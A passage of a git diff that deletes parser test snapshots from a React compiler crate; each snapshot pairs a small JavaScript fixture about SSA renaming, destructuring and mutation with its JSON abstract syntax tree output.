-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          97,
-                          98
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          99,
-                          103
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        97,
-                        103
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            104,
-                            109
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            110,
-                            113
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          104,
-                          113
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      97,
-                      114
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  77,
-                  114
-                ]
-              },
-              "loc": null,
-              "range": [
-                59,
-                161
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              59,
-              162
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                172,
-                173
-              ]
-            },
-            "loc": null,
-            "range": [
-              165,
-              174
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          176
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        176
-      ],
-      "loc": null,
-      "range": [
-        0,
-        176
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    176
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-unconditional-with-mutation.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-unconditional-with-mutation.js.snap
deleted file mode 100644
index 10350e4ed79b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-unconditional-with-mutation.js.snap
+++ /dev/null
@@ -1,613 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-renaming-unconditional-with-mutation.js
----
-Input:
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  if (props.cond) {
-    x = {};
-    x = [];
-    x.push(props.foo);
-  } else {
-    x = [];
-    x = [];
-    x.push(props.bar);
-  }
-  mut(x);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    32,
-                    34
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  34
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              35
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    40,
-                    44
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  38,
-                  44
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      45,
-                      50
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      54
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    54
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                38,
-                55
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              38,
-              56
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  63,
-                  68
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  69,
-                  73
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                63,
-                73
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        81,
-                        82
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [],
-                      "loc": null,
-                      "range": [
-                        85,
-                        87
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      81,
-                      87
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    81,
-                    88
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        93,
-                        94
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        97,
-                        99
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      93,
-                      99
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    93,
-                    100
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          105,
-                          106
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          107,
-                          111
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        105,
-                        111
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            112,
-                            117
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            118,
-                            121
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          112,
-                          121
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      105,
-                      122
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    105,
-                    123
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                75,
-                127
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        139,
-                        140
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        143,
-                        145
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      139,
-                      145
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    139,
-                    146
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        151,
-                        152
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        155,
-                        157
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      151,
-                      157
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    151,
-                    158
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          163,
-                          164
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          165,
-                          169
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        163,
-                        169
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            170,
-                            175
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "bar",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            176,
-                            179
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          170,
-                          179
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      163,
-                      180
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    163,
-                    181
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                133,
-                185
-              ]
-            },
-            "loc": null,
-            "range": [
-              59,
-              185
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mut",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  188,
-                  191
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    192,
-                    193
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                188,
-                194
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              188,
-              195
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                205,
-                206
-              ]
-            },
-            "loc": null,
-            "range": [
-              198,
-              207
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          209
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        209
-      ],
-      "loc": null,
-      "range": [
-        0,
-        209
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    209
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-via-destructuring-with-mutation.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-via-destructuring-with-mutation.js.snap
deleted file mode 100644
index 38181fb8881b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-via-destructuring-with-mutation.js.snap
+++ /dev/null
@@ -1,641 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-renaming-via-destructuring-with-mutation.js
----
-Input:
-function foo(props) {
-  let { x } = { x: [] };
-  x.push(props.bar);
-  if (props.cond) {
-    ({ x } = { x: {} });
-    ({ x } = { x: [] });
-    x.push(props.foo);
-  }
-  mut(x);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ObjectPattern",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          30,
-                          31
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          30,
-                          31
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        30,
-                        31
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    28,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          38,
-                          39
-                        ]
-                      },
-                      "value": {
-                        "type": "ArrayExpression",
-                        "elements": [],
-                        "loc": null,
-                        "range": [
-                          41,
-                          43
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        38,
-                        43
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    36,
-                    45
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  45
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              46
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    49,
-                    50
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    55
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  49,
-                  55
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      56,
-                      61
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      62,
-                      65
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    56,
-                    65
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                49,
-                66
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              49,
-              67
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  74,
-                  79
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  80,
-                  84
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                74,
-                84
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "ObjectPattern",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              95,
-                              96
-                            ]
-                          },
-                          "value": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              95,
-                              96
-                            ]
-                          },
-                          "kind": "init",
-                          "computed": false,
-                          "shorthand": true,
-                          "method": false,
-                          "loc": null,
-                          "range": [
-                            95,
-                            96
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        93,
-                        98
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              103,
-                              104
-                            ]
-                          },
-                          "value": {
-                            "type": "ObjectExpression",
-                            "properties": [],
-                            "loc": null,
-                            "range": [
-                              106,
-                              108
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": false,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            103,
-                            108
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        101,
-                        110
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      93,
-                      110
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    92,
-                    112
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "ObjectPattern",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              120,
-                              121
-                            ]
-                          },
-                          "value": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              120,
-                              121
-                            ]
-                          },
-                          "kind": "init",
-                          "computed": false,
-                          "shorthand": true,
-                          "method": false,
-                          "loc": null,
-                          "range": [
-                            120,
-                            121
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        118,
-                        123
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              128,
-                              129
-                            ]
-                          },
-                          "value": {
-                            "type": "ArrayExpression",
-                            "elements": [],
-                            "loc": null,
-                            "range": [
-                              131,
-                              133
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": false,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            128,
-                            133
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        126,
-                        135
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      118,
-                      135
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    117,
-                    137
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          142,
-                          143
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          144,
-                          148
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        142,
-                        148
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            149,
-                            154
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            155,
-                            158
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          149,
-                          158
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      142,
-                      159
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    142,
-                    160
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                86,
-                164
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              70,
-              164
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mut",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  167,
-                  170
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    171,
-                    172
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                167,
-                173
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              167,
-              174
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                184,
-                185
-              ]
-            },
-            "loc": null,
-            "range": [
-              177,
-              186
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          188
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        188
-      ],
-      "loc": null,
-      "range": [
-        0,
-        188
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    188
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-via-destructuring.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-via-destructuring.js.snap
deleted file mode 100644
index 86f1929ab328..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-via-destructuring.js.snap
+++ /dev/null
@@ -1,601 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-renaming-via-destructuring.js
----
-Input:
-function foo(props) {
-  let { x } = { x: [] };
-  x.push(props.bar);
-  if (props.cond) {
-    ({ x } = { x: {} });
-    ({ x } = { x: [] });
-    x.push(props.foo);
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ObjectPattern",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          30,
-                          31
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          30,
-                          31
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        30,
-                        31
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    28,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          38,
-                          39
-                        ]
-                      },
-                      "value": {
-                        "type": "ArrayExpression",
-                        "elements": [],
-                        "loc": null,
-                        "range": [
-                          41,
-                          43
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        38,
-                        43
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    36,
-                    45
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  45
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              46
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    49,
-                    50
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    55
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  49,
-                  55
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      56,
-                      61
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      62,
-                      65
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    56,
-                    65
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                49,
-                66
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              49,
-              67
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  74,
-                  79
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  80,
-                  84
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                74,
-                84
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "ObjectPattern",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              95,
-                              96
-                            ]
-                          },
-                          "value": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              95,
-                              96
-                            ]
-                          },
-                          "kind": "init",
-                          "computed": false,
-                          "shorthand": true,
-                          "method": false,
-                          "loc": null,
-                          "range": [
-                            95,
-                            96
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        93,
-                        98
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              103,
-                              104
-                            ]
-                          },
-                          "value": {
-                            "type": "ObjectExpression",
-                            "properties": [],
-                            "loc": null,
-                            "range": [
-                              106,
-                              108
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": false,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            103,
-                            108
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        101,
-                        110
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      93,
-                      110
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    92,
-                    112
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "ObjectPattern",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              120,
-                              121
-                            ]
-                          },
-                          "value": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              120,
-                              121
-                            ]
-                          },
-                          "kind": "init",
-                          "computed": false,
-                          "shorthand": true,
-                          "method": false,
-                          "loc": null,
